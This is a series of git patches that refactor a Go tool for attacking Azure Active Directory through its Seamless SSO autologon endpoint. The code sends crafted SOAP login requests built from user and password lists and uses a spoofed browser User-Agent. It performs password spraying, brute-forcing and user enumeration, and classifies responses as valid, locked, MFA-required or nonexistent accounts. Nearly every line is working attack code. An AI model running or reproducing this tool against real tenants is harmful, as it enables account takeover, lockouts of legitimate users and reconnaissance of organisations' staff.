From f9523e63aa611e0859b3a9a8ed4cc6b2d6e3f3ac Mon Sep 17 00:00:00 2001 From: CristianQS Date: Thu, 11 Nov 2021 00:33:36 +0000 Subject: [PATCH 1/7] refactor: rename parameter CamelCase --- cmd/main.go | 38 +++++++++++++++++++------------------- 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/cmd/main.go b/cmd/main.go index 2576082..4093874 100644 --- a/cmd/main.go +++ b/cmd/main.go @@ -111,55 +111,55 @@ func requestAzureActiveDirectory(domain string, user string, password string) { defer wg.Done() } -func enumUsers(users_file string, password string) { +func enumUsers(usersFile string, password string) { - users, err := os.Open(users_file) + users, err := os.Open(usersFile) if err != nil { log.Fatal(err) } defer users.Close() - scanner_users := bufio.NewScanner(users) - for scanner_users.Scan() { + scannerUsers := bufio.NewScanner(users) + for scannerUsers.Scan() { wg.Add(1) - user := scanner_users.Text() + user := scannerUsers.Text() domain := strings.Split(user, "@")[1] go requestAzureActiveDirectory(domain, user, password) } - if err := scanner_users.Err(); err != nil { + if err := scannerUsers.Err(); err != nil { log.Fatal(err) } } -func passwordAttack(passwords_file string, user string, domain string) { +func passwordAttack(passwordsFile string, user string, domain string) { - passwords, err := os.Open(passwords_file) + passwords, err := os.Open(passwordsFile) if err != nil { log.Fatal(err) } defer passwords.Close() - scanner_passwords := bufio.NewScanner(passwords) - for scanner_passwords.Scan() { + scannerPasswords := bufio.NewScanner(passwords) + for scannerPasswords.Scan() { wg.Add(1) - go requestAzureActiveDirectory(domain, user, scanner_passwords.Text()) + go requestAzureActiveDirectory(domain, user, scannerPasswords.Text()) } - if err := scanner_passwords.Err(); err != nil { + if err := scannerPasswords.Err(); err != nil { log.Fatal(err) } } -func bruteForcing(users_file string, passwords_file string) { - users, err := os.Open(users_file) +func bruteForcing(usersFile string, passwordsFile string) { + users, err := os.Open(usersFile) if err != nil { log.Fatal(err) } defer users.Close() - scanner_users := bufio.NewScanner(users) - for scanner_users.Scan() { - user := scanner_users.Text() + scannerUsers := bufio.NewScanner(users) + for scannerUsers.Scan() { + user := scannerUsers.Text() domain := strings.Split(user, "@")[1] - passwordAttack(passwords_file, user, domain) + passwordAttack(passwordsFile, user, domain) } - if err := scanner_users.Err(); err != nil { + if err := scannerUsers.Err(); err != nil { log.Fatal(err) } } From ac2173b077d4a24598938b4c3f82700aa077f0ec Mon Sep 17 00:00:00 2001 From: CristianQS Date: Thu, 11 Nov 2021 01:29:06 +0000 Subject: [PATCH 2/7] Refactor: Rename method, use map, remove duplicity --- cmd/main.go | 97 ++++++++++++++++++++++++++--------------------------- 1 file changed, 47 insertions(+), 50 deletions(-) diff --git a/cmd/main.go b/cmd/main.go index 4093874..9d3907f 100644 --- a/cmd/main.go +++ b/cmd/main.go @@ -5,6 +5,7 @@ import ( "encoding/xml" "flag" "fmt" + "github.com/google/uuid" "io" "io/ioutil" "log" @@ -13,8 +14,6 @@ import ( "strings" "sync" "time" - - "github.com/google/uuid" ) type stringFlag struct { @@ -55,32 +54,32 @@ func requestAzureActiveDirectory(domain string, user string, password string) { url := "https://autologon.microsoftazuread-sso.com/" + domain + "/winauth/trust/2005/usernamemixed?client-request-id=" + requestid.String() body := strings.NewReader(` - - http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue - ` + url + ` - urn:uuid:` + MessageID.String() + ` - - - ` + creates + ` - ` + expires + ` - - - ` + user + ` - ` + password + ` - - - - - - http://schemas.xmlsoap.org/ws/2005/02/trust/Issue - - - urn:federation:MicrosoftOnline - - - http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey - - + + http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue + ` + url + ` + urn:uuid:` + MessageID.String() + ` + + + ` + creates + ` + ` + expires + ` + + + ` + user + ` + ` + password + ` + + + + + + http://schemas.xmlsoap.org/ws/2005/02/trust/Issue + + + urn:federation:MicrosoftOnline + + + http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey + + `) // create a request object @@ -104,10 +103,13 @@ func requestAzureActiveDirectory(domain string, user string, password string) { res.Body.Close() // print response status and body if res.StatusCode != 200 { - getResults(getErrorCode(string(data)), user, password) + errorCodeMessage := getErrorCodeMessage(getErrorCode(string(data))) + errorMessage := fmt.Sprintf("%s:%s -> %s", user, password, errorCodeMessage) + fmt.Fprintln(output, errorMessage) } else { - fmt.Fprintln(output, user+":"+password+" -> Correct credentials") + fmt.Fprintln(output, fmt.Sprintf("%s:%s -> Correct credentials", user, password)) } + defer wg.Done() } @@ -172,26 +174,21 @@ func getErrorCode(xmlcode string) string { return errorCode } -func getResults(errorCode string, user string, password string) { - - switch { - case errorCode == "AADSTS81016": - fmt.Fprintln(output, user+":"+password+" -> Invalid STS request") - case errorCode == "AADSTS50053": - fmt.Fprintln(output, user+":"+password+" -> Locked") - case errorCode == "AADSTS50126": - fmt.Fprintln(output, user+":"+password+" -> Bad Password") - case errorCode == "AADSTS50056": - fmt.Fprintln(output, user+":"+password+" -> Exists w/no password") - case errorCode == "AADSTS50014": - fmt.Fprintln(output, user+":"+password+" -> Exists, but max passthru auth time exceeded") - case errorCode == "AADSTS50076": - fmt.Fprintln(output, user+":"+password+" -> Need mfa") - case errorCode == "AADSTS700016": - fmt.Fprintln(output, user+":"+password+" -> No app") - case errorCode == "AADSTS50034": - fmt.Fprintln(output, user+":"+password+" -> No user") - } +func getErrorCodeMessage(errorCode string) string { + var errorCodesMessage = map[string]string{ + "AADSTS81016": "Invalid STS request", + "AADSTS50053": "Locked", + "AADSTS50126": "Bad Password", + "AADSTS50056": "Exists w/no password", + "AADSTS50014": "Exists, but max passthru auth time exceeded", + "AADSTS50076": "Need mfa", + "AADSTS700016": "No app", + "AADSTS50034": "No user", + } + if errorCodeMessage := errorCodesMessage[errorCode]; errorCodeMessage != "" { + return errorCodeMessage + } + return "No error message for ErrorCode: " + errorCode } func init() { From 3bd2c617c3444725d82977412c3ee1e79011a641 Mon Sep 17 00:00:00 2001 From: CristianQS Date: Thu, 11 Nov 2021 01:31:13 +0000 Subject: [PATCH 3/7] move upside main method --- cmd/main.go | 97 +++++++++++++++++++++++++++-------------------------- 1 file changed, 49 insertions(+), 48 deletions(-) diff --git a/cmd/main.go b/cmd/main.go index 9d3907f..5e445fa 100644 --- a/cmd/main.go +++ b/cmd/main.go @@ -16,6 +16,55 @@ import ( "time" ) +func init() { + flag.Var(&email, "email", "Example: user@domain.com") + flag.Var(&password, "password", "Example: P@ssw0rd!") + flag.Var(&emailsFile, "emails-file", "Example: /your/path/emails.txt") + flag.Var(&passwordsFile, "passwords-file", "Example: /your/path/passwords.txt") +} + +func main() { + + flag.Parse() + + filename := "output-" + time.Now().Format("20060102150405") + ".txt" + fd, err := os.Create(filename) + if err != nil { + log.Print(err) + os.Exit(1) + } + output = io.MultiWriter(os.Stdout, fd) + + if email.set && password.set { + wg.Add(1) + domain := strings.Split(email.value, "@")[1] + go requestAzureActiveDirectory(domain, email.value, password.value) + } + if emailsFile.set { + if _, err := os.Stat(emailsFile.value); os.IsNotExist(err) { + println("[!] The file doesn't exist") + os.Exit(1) + } + } + if passwordsFile.set { + if _, err := os.Stat(passwordsFile.value); os.IsNotExist(err) { + println("[!] The file doesn't exist") + os.Exit(1) + } + } + if passwordsFile.set && emailsFile.set { + bruteForcing(emailsFile.value, passwordsFile.value) + } + if email.set && passwordsFile.set { + domain := strings.Split(email.value, "@")[1] + passwordAttack(passwordsFile.value, email.value, domain) + } + if emailsFile.set && password.set { + enumUsers(emailsFile.value, password.value) + } + wg.Wait() +} + type stringFlag struct { set bool value string @@ -191,51 +240,3 @@ func getErrorCodeMessage(errorCode string) string { return "No error message for ErrorCode: " + errorCode } -func init() { - flag.Var(&email, "email", "Example: user@domain.com") - flag.Var(&password, "password", "Example: P@ssw0rd!") - flag.Var(&emailsFile, "emails-file", "Example: /your/path/emails.txt") - flag.Var(&passwordsFile, "passwords-file", "Example: /your/path/passwords.txt") -} - -func main() { - - flag.Parse() - - filename := "output-" + time.Now().Format("20060102150405") + ".txt" - fd, err := os.Create(filename) - if err != nil { - log.Print(err) - os.Exit(1) - } - output = io.MultiWriter(os.Stdout, fd) - - if email.set && password.set { - wg.Add(1) - domain := strings.Split(email.value, "@")[1] - go requestAzureActiveDirectory(domain, email.value, password.value) - } - if emailsFile.set { - if _, err := os.Stat(emailsFile.value); os.IsNotExist(err) { - println("[!] The file doesn't exist") - os.Exit(1) - } - } - if passwordsFile.set { - if _, err := os.Stat(passwordsFile.value); os.IsNotExist(err) { - println("[!] The file doesn't exist") - os.Exit(1) - } - } - if passwordsFile.set && emailsFile.set { - bruteForcing(emailsFile.value, passwordsFile.value) - } - if email.set && passwordsFile.set { - domain := strings.Split(email.value, "@")[1] - passwordAttack(passwordsFile.value, email.value, domain) - } - if emailsFile.set && password.set { - enumUsers(emailsFile.value, password.value) - } - wg.Wait() -} From b500af4e2241989f3c4993d4e34e0795d333032a Mon Sep 17 00:00:00 2001 From: CristianQS Date: Thu, 11 Nov 2021 01:40:08 +0000 Subject: [PATCH 4/7] refactor: extract struct --- cmd/Flag.go | 16 ++++++++++++++++ cmd/main.go | 35 +++++++++-------------------------- 2 files changed, 25 insertions(+), 26 deletions(-) create mode 100644 cmd/Flag.go diff --git a/cmd/Flag.go b/cmd/Flag.go new file mode 100644 index 0000000..46097c5 --- /dev/null +++ b/cmd/Flag.go @@ -0,0 +1,16 @@ +package main + +type Flag struct { + set bool + value string +} + +func (sf *Flag) Set(x string) error { + sf.value = x + sf.set = true + return nil +} + +func (sf *Flag) String() string { + return sf.value +} diff --git a/cmd/main.go b/cmd/main.go index 5e445fa..7445235 100644 --- a/cmd/main.go +++ b/cmd/main.go @@ -16,6 +16,15 @@ import ( "time" ) +var ( + email Flag + password Flag + emailsFile Flag + passwordsFile Flag + output io.Writer + wg sync.WaitGroup +) + func init() { flag.Var(&email, "email", "Example: user@domain.com") flag.Var(&password, "password", "Example: P@ssw0rd!") @@ -24,9 +33,7 @@ func init() { } func main() { - flag.Parse() - filename := "output-" + time.Now().Format("20060102150405") + ".txt" fd, err := os.Create(filename) if err != nil { @@ -65,34 +72,10 @@ func main() { wg.Wait() } -type stringFlag struct { - set bool - value string -} - type xmlStruct struct { Dtext string `xml:"Body>Fault>Detail>error>internalerror>text"` } -func (sf *stringFlag) Set(x string) error { - sf.value = x - sf.set = true - return nil -} - -func (sf *stringFlag) String() string { - return sf.value -} - -var ( - email stringFlag - password stringFlag - emailsFile stringFlag - passwordsFile stringFlag - output io.Writer - wg sync.WaitGroup -) - func requestAzureActiveDirectory(domain string, user string, password string) { requestid := uuid.New() MessageID := uuid.New() From 861748b04a3c769b94cded7a3b5f137c25704fa6 Mon Sep 17 00:00:00 2001 From: CristianQS Date: Thu, 11 Nov 2021 01:43:31 +0000 Subject: [PATCH 5/7] format file --- cmd/main.go | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/cmd/main.go b/cmd/main.go index 7445235..50ed924 100644 --- a/cmd/main.go +++ b/cmd/main.go @@ -145,8 +145,7 @@ func requestAzureActiveDirectory(domain string, user string, password string) { defer wg.Done() } -func enumUsers(usersFile string, password string) { - +func bruteForcing(usersFile string, passwordsFile string) { users, err := os.Open(usersFile) if err != nil { log.Fatal(err) @@ -154,10 +153,9 @@ func enumUsers(usersFile string, password string) { defer users.Close() scannerUsers := bufio.NewScanner(users) for scannerUsers.Scan() { - wg.Add(1) user := scannerUsers.Text() domain := strings.Split(user, "@")[1] - go requestAzureActiveDirectory(domain, user, password) + passwordAttack(passwordsFile, user, domain) } if err := scannerUsers.Err(); err != nil { log.Fatal(err) @@ -165,7 +163,6 @@ func enumUsers(usersFile string, password string) { } func passwordAttack(passwordsFile string, user string, domain string) { - passwords, err := os.Open(passwordsFile) if err != nil { log.Fatal(err) @@ -181,7 +178,7 @@ func passwordAttack(passwordsFile string, user string, domain string) { } } -func bruteForcing(usersFile string, passwordsFile string) { +func enumUsers(usersFile string, password string) { users, err := os.Open(usersFile) if err != nil { log.Fatal(err) @@ -189,9 +186,10 @@ func bruteForcing(usersFile string, passwordsFile string) { defer users.Close() scannerUsers := bufio.NewScanner(users) for scannerUsers.Scan() { + wg.Add(1) user := scannerUsers.Text() domain := strings.Split(user, "@")[1] - passwordAttack(passwordsFile, user, domain) + go requestAzureActiveDirectory(domain, user, password) } if err := scannerUsers.Err(); err != nil { log.Fatal(err) From 1e154d2d8e39b3bffd2491171b2767b57cca586d Mon Sep 17 00:00:00 2001 From: CristianQS Date: Thu, 11 Nov 2021 01:51:58 +0000 Subject: [PATCH 6/7] Refactor: extract struct --- cmd/main.go | 11 ++++------- pkg/dto/AzureErrorResponseDto.go | 5 +++++ 2 files changed, 9 insertions(+), 7 deletions(-) create mode 100644 pkg/dto/AzureErrorResponseDto.go diff --git a/cmd/main.go b/cmd/main.go index 50ed924..e184de6 100644 --- a/cmd/main.go +++ b/cmd/main.go @@ -1,6 +1,7 @@ package main import ( + "aad-sso-enum-brute-spray/pkg/dto" "bufio" "encoding/xml" "flag" @@ -72,10 +73,6 @@ func main() { wg.Wait() } -type xmlStruct struct { - Dtext string `xml:"Body>Fault>Detail>error>internalerror>text"` -} - func requestAzureActiveDirectory(domain string, user string, password string) { requestid := uuid.New() MessageID := uuid.New() @@ -198,9 +195,9 @@ func enumUsers(usersFile string, password string) { func getErrorCode(xmlcode string) string { // Extract error code from xml response - x := xmlStruct{} - _ = xml.Unmarshal([]byte(xmlcode), &x) - errorCode := strings.Split(x.Dtext, ":")[0] + azureErrorResponseDto := dto.AzureErrorResponseDto{} + _ = xml.Unmarshal([]byte(xmlcode), &azureErrorResponseDto) + errorCode := strings.Split(azureErrorResponseDto.Error, ":")[0] return errorCode } diff --git a/pkg/dto/AzureErrorResponseDto.go b/pkg/dto/AzureErrorResponseDto.go new file mode 100644 index 0000000..be311af --- /dev/null +++ b/pkg/dto/AzureErrorResponseDto.go @@ -0,0 +1,5 @@ +package main + +type AzureErrorResponseDto struct { + Code string `xml:"Body>Fault>Detail>error>internalerror>text"` +} From 16f8ae34bdf262a2adc171b3ca14a0ebc1b04b99 Mon Sep 17 00:00:00 2001 From: CristianQS Date: Sun, 14 Nov 2021 21:35:12 +0000 Subject: [PATCH 7/7] extract services and clients --- cmd/Flag.go | 16 --- cmd/main.go | 173 ++++++------------------------- pkg/clients/AzureClient.go | 114 ++++++++++++++++++++ pkg/dto/AzureErrorResponseDto.go | 4 +- pkg/services/EnumUsers.go | 41 ++++++++ pkg/services/PasswordAttack.go | 40 +++++++ 6 files changed, 227 insertions(+), 161 deletions(-) delete mode 100644 cmd/Flag.go create mode 100644 pkg/clients/AzureClient.go create mode 100644 pkg/services/EnumUsers.go create mode 100644 pkg/services/PasswordAttack.go diff --git a/cmd/Flag.go b/cmd/Flag.go deleted file mode 100644 index 46097c5..0000000 --- a/cmd/Flag.go +++ /dev/null @@ -1,16 +0,0 @@ -package main - -type Flag struct { - set bool - value string -} - -func (sf *Flag) Set(x string) error { - sf.value = x - sf.set = true - return nil -} - -func (sf *Flag) String() string { - return sf.value -} diff --git a/cmd/main.go b/cmd/main.go index e184de6..361074f 100644 --- a/cmd/main.go +++ b/cmd/main.go @@ -1,28 +1,37 @@ package main import ( - "aad-sso-enum-brute-spray/pkg/dto" + "aad-sso-enum-brute-spray/pkg/clients" + "aad-sso-enum-brute-spray/pkg/services" "bufio" - "encoding/xml" "flag" - "fmt" - "github.com/google/uuid" "io" - "io/ioutil" "log" - "net/http" "os" "strings" "sync" "time" ) +type Flag struct { + set bool + value string +} + +func (sf *Flag) Set(x string) error { + sf.value = x + sf.set = true + return nil +} + +func (sf *Flag) String() string { + return sf.value +} var ( email Flag password Flag emailsFile Flag passwordsFile Flag - output io.Writer wg sync.WaitGroup ) @@ -41,12 +50,13 @@ func main() { log.Print(err) os.Exit(1) } - output = io.MultiWriter(os.Stdout, fd) + output := io.MultiWriter(os.Stdout, fd) if email.set && password.set { wg.Add(1) domain := strings.Split(email.value, "@")[1] - go requestAzureActiveDirectory(domain, email.value, password.value) + client := clients.NewAzureClient() + go client.GetAzureActiveDirectory(domain, email.value, password.value,&wg,output) } if emailsFile.set { if _, err := os.Stat(emailsFile.value); os.IsNotExist(err) { @@ -61,121 +71,23 @@ func main() { } } if passwordsFile.set && emailsFile.set { - bruteForcing(emailsFile.value, passwordsFile.value) + bruteForcing(emailsFile.value, passwordsFile.value, output) } if email.set && passwordsFile.set { domain := strings.Split(email.value, "@")[1] - passwordAttack(passwordsFile.value, email.value, domain) + client := clients.NewAzureClient() + passwordAttack := services.NewPasswordAttack(passwordsFile.value,email.value,domain,client,&wg, output) + passwordAttack.Execute() } if emailsFile.set && password.set { - enumUsers(emailsFile.value, password.value) + client := clients.NewAzureClient() + enumUsers := services.NewEnumUsers(emailsFile.value, password.value,client,&wg,output) + enumUsers.Execute() } wg.Wait() } -func requestAzureActiveDirectory(domain string, user string, password string) { - requestid := uuid.New() - MessageID := uuid.New() - userID := uuid.New() - now := time.Now() - creates := now.Format(time.RFC3339Nano) - expires := now.Add(time.Minute * 10).Format(time.RFC3339Nano) - url := "https://autologon.microsoftazuread-sso.com/" + domain + "/winauth/trust/2005/usernamemixed?client-request-id=" + requestid.String() - body := strings.NewReader(` - - - http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue - ` + url + ` - urn:uuid:` + MessageID.String() + ` - - - ` + creates + ` - ` + expires + ` - - - ` + user + ` - ` + password + ` - - - - - - http://schemas.xmlsoap.org/ws/2005/02/trust/Issue - - - urn:federation:MicrosoftOnline - - - http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey - - - -`) - // create a request object - req, _ := http.NewRequest( - "POST", - url, - body, - ) - // add a request header - req.Header.Add("Content-Type", "application/json; charset=UTF-8") - req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/94.0.992.50") - // send an HTTP using `req` object - res, err := http.DefaultClient.Do(req) - // check for response error - if err != nil { - log.Fatal("Error:", err) - } - // read response body - data, _ := ioutil.ReadAll(res.Body) - // close response body - res.Body.Close() - // print response status and body - if res.StatusCode != 200 { - errorCodeMessage := getErrorCodeMessage(getErrorCode(string(data))) - errorMessage := fmt.Sprintf("%s:%s -> %s", user, password, errorCodeMessage) - fmt.Fprintln(output, errorMessage) - } else { - fmt.Fprintln(output, fmt.Sprintf("%s:%s -> Correct credentials", user, password)) - } - - defer wg.Done() -} - -func bruteForcing(usersFile string, passwordsFile string) { - users, err := os.Open(usersFile) - if err != nil { - log.Fatal(err) - } - defer users.Close() - scannerUsers := bufio.NewScanner(users) - for scannerUsers.Scan() { - user := scannerUsers.Text() - domain := strings.Split(user, "@")[1] - passwordAttack(passwordsFile, user, domain) - } - if err := scannerUsers.Err(); err != nil { - log.Fatal(err) - } -} - -func passwordAttack(passwordsFile string, user string, domain string) { - passwords, err := os.Open(passwordsFile) - if err != nil { - log.Fatal(err) - } - defer passwords.Close() - scannerPasswords := bufio.NewScanner(passwords) - for scannerPasswords.Scan() { - wg.Add(1) - go requestAzureActiveDirectory(domain, user, scannerPasswords.Text()) - } - if err := scannerPasswords.Err(); err != nil { - log.Fatal(err) - } -} - -func enumUsers(usersFile string, password string) { +func bruteForcing(usersFile string, passwordsFile string, writer io.Writer) { users, err := os.Open(usersFile) if err != nil { log.Fatal(err) @@ -183,38 +95,13 @@ func enumUsers(usersFile string, password string) { defer users.Close() scannerUsers := bufio.NewScanner(users) for scannerUsers.Scan() { - wg.Add(1) user := scannerUsers.Text() domain := strings.Split(user, "@")[1] - go requestAzureActiveDirectory(domain, user, password) + client := clients.NewAzureClient() + passwordAttack := services.NewPasswordAttack(passwordsFile, user, domain, client, &wg, writer) + passwordAttack.Execute() } if err := scannerUsers.Err(); err != nil { log.Fatal(err) } } - -func getErrorCode(xmlcode string) string { - // Extract error code from xml response - azureErrorResponseDto := dto.AzureErrorResponseDto{} - _ = xml.Unmarshal([]byte(xmlcode), &azureErrorResponseDto) - errorCode := strings.Split(azureErrorResponseDto.Error, ":")[0] - return errorCode -} - -func getErrorCodeMessage(errorCode string) string { - var errorCodesMessage = map[string]string{ - "AADSTS81016": "Invalid STS request", - "AADSTS50053": "Locked", - "AADSTS50126": "Bad Password", - "AADSTS50056": "Exists w/no password", - "AADSTS50014": "Exists, but max passthru auth time exceeded", - "AADSTS50076": "Need mfa", - "AADSTS700016": "No app", - "AADSTS50034": "No user", - } - if errorCodeMessage := errorCodesMessage[errorCode]; errorCodeMessage != "" { - return errorCodeMessage - } - return "No error message for ErrorCode: " + errorCode -} - diff --git a/pkg/clients/AzureClient.go b/pkg/clients/AzureClient.go new file mode 100644 index 0000000..b6adcdb --- /dev/null +++ b/pkg/clients/AzureClient.go @@ -0,0 +1,114 @@ +package clients + +import ( + "aad-sso-enum-brute-spray/pkg/dto" + "encoding/xml" + "fmt" + "github.com/google/uuid" + "io" + "io/ioutil" + "log" + "net/http" + "strings" + "sync" + "time" +) + +type AzureClient struct {} + +func NewAzureClient() *AzureClient { + return &AzureClient{} +} + +func (azc *AzureClient) GetAzureActiveDirectory(domain string, user string, password string, wg *sync.WaitGroup, writer io.Writer) { + requestid := uuid.New() + MessageID := uuid.New() + userID := uuid.New() + now := time.Now() + creates := now.Format(time.RFC3339Nano) + expires := now.Add(time.Minute * 10).Format(time.RFC3339Nano) + url := "https://autologon.microsoftazuread-sso.com/" + domain + "/winauth/trust/2005/usernamemixed?client-request-id=" + requestid.String() + body := strings.NewReader(` + + + http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue + ` + url + ` + urn:uuid:` + MessageID.String() + ` + + + ` + creates + ` + ` + expires + ` + + + ` + user + ` + ` + password + ` + + + + + + http://schemas.xmlsoap.org/ws/2005/02/trust/Issue + + + urn:federation:MicrosoftOnline + + + http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey + + + +`) + // create a request object + req, _ := http.NewRequest( + "POST", + url, + body, + ) + // add a request header + req.Header.Add("Content-Type", "application/json; charset=UTF-8") + req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/94.0.992.50") + // send an HTTP using `req` object + res, err := http.DefaultClient.Do(req) + // check for response error + if err != nil { + log.Fatal("Error:", err) + } + // read response body + data, _ := ioutil.ReadAll(res.Body) + // close response body + res.Body.Close() + // print response status and body + if res.StatusCode != 200 { + errorCodeMessage := getErrorCodeMessage(getErrorCode(string(data))) + errorMessage := fmt.Sprintf("%s:%s -> %s", user, password, errorCodeMessage) + fmt.Fprintln(writer, errorMessage) + } else { + fmt.Fprintln(writer, fmt.Sprintf("%s:%s -> Correct credentials", user, password)) + } + defer wg.Done() +} + +func getErrorCode(xmlcode string) string { + // Extract error code from xml response + azureErrorResponseDto := dto.AzureErrorResponseDto{} + _ = xml.Unmarshal([]byte(xmlcode), &azureErrorResponseDto) + errorCode := strings.Split(azureErrorResponseDto.Error, ":")[0] + return errorCode +} + +func getErrorCodeMessage(errorCode string) string { + var errorCodesMessage = map[string]string{ + "AADSTS81016": "Invalid STS request", + "AADSTS50053": "Locked", + "AADSTS50126": "Bad Password", + "AADSTS50056": "Exists w/no password", + "AADSTS50014": "Exists, but max passthru auth time exceeded", + "AADSTS50076": "Need mfa", + "AADSTS700016": "No app", + "AADSTS50034": "No user", + } + if errorCodeMessage := errorCodesMessage[errorCode]; errorCodeMessage != "" { + return errorCodeMessage + } + return "No error message for ErrorCode: " + errorCode +} \ No newline at end of file diff --git a/pkg/dto/AzureErrorResponseDto.go b/pkg/dto/AzureErrorResponseDto.go index be311af..183c311 100644 --- a/pkg/dto/AzureErrorResponseDto.go +++ b/pkg/dto/AzureErrorResponseDto.go @@ -1,5 +1,5 @@ -package main +package dto type AzureErrorResponseDto struct { - Code string `xml:"Body>Fault>Detail>error>internalerror>text"` + Error string `xml:"Body>Fault>Detail>error>internalerror>text"` } diff --git a/pkg/services/EnumUsers.go b/pkg/services/EnumUsers.go new file mode 100644 index 0000000..fbfa4bd --- /dev/null +++ b/pkg/services/EnumUsers.go @@ -0,0 +1,41 @@ +package services + +import ( + "aad-sso-enum-brute-spray/pkg/clients" + "bufio" + "io" + "log" + "os" + "strings" + "sync" +) + +type EnumUsers struct { + usersFile string + password string + azureClient *clients.AzureClient + wg *sync.WaitGroup + writer io.Writer +} + +func NewEnumUsers(usersFile string, password string, azureClient *clients.AzureClient, wg *sync.WaitGroup, writer io.Writer) *EnumUsers { + return &EnumUsers{usersFile: usersFile, password: password, azureClient: azureClient, wg: wg, writer: writer} +} + +func (eu *EnumUsers) Execute() { + users, err := os.Open(eu.usersFile) + if err != nil { + log.Fatal(err) + } + defer users.Close() + scannerUsers := bufio.NewScanner(users) + for scannerUsers.Scan() { + eu.wg.Add(1) + user := scannerUsers.Text() + domain := strings.Split(user, "@")[1] + go eu.azureClient.GetAzureActiveDirectory(domain, user, eu.password, eu.wg, eu.writer) + } + if err := scannerUsers.Err(); err != nil { + log.Fatal(err) + } +} diff --git a/pkg/services/PasswordAttack.go b/pkg/services/PasswordAttack.go new file mode 100644 index 0000000..9f36e17 --- /dev/null +++ b/pkg/services/PasswordAttack.go @@ -0,0 +1,40 @@ +package services + +import ( + "aad-sso-enum-brute-spray/pkg/clients" + "bufio" + "io" + "log" + "os" + "sync" +) + +type PasswordAttack struct { + passwordFile string + user string + domain string + azureClient *clients.AzureClient + wg *sync.WaitGroup + writer io.Writer +} + +func NewPasswordAttack(passwordFile string, user string, domain string, azureClient *clients.AzureClient, + wg *sync.WaitGroup, writer io.Writer) *PasswordAttack { + return &PasswordAttack{passwordFile: passwordFile, user: user, domain: domain, azureClient: azureClient, wg: wg, writer: writer} +} + +func (p *PasswordAttack) Execute() { + passwords, err := os.Open(p.passwordFile) + if err != nil { + log.Fatal(err) + } + defer passwords.Close() + scannerPasswords := bufio.NewScanner(passwords) + for scannerPasswords.Scan() { + p.wg.Add(1) + go p.azureClient.GetAzureActiveDirectory(p.domain, p.user, scannerPasswords.Text(), p.wg, p.writer) + } + if err := scannerPasswords.Err(); err != nil { + log.Fatal(err) + } +}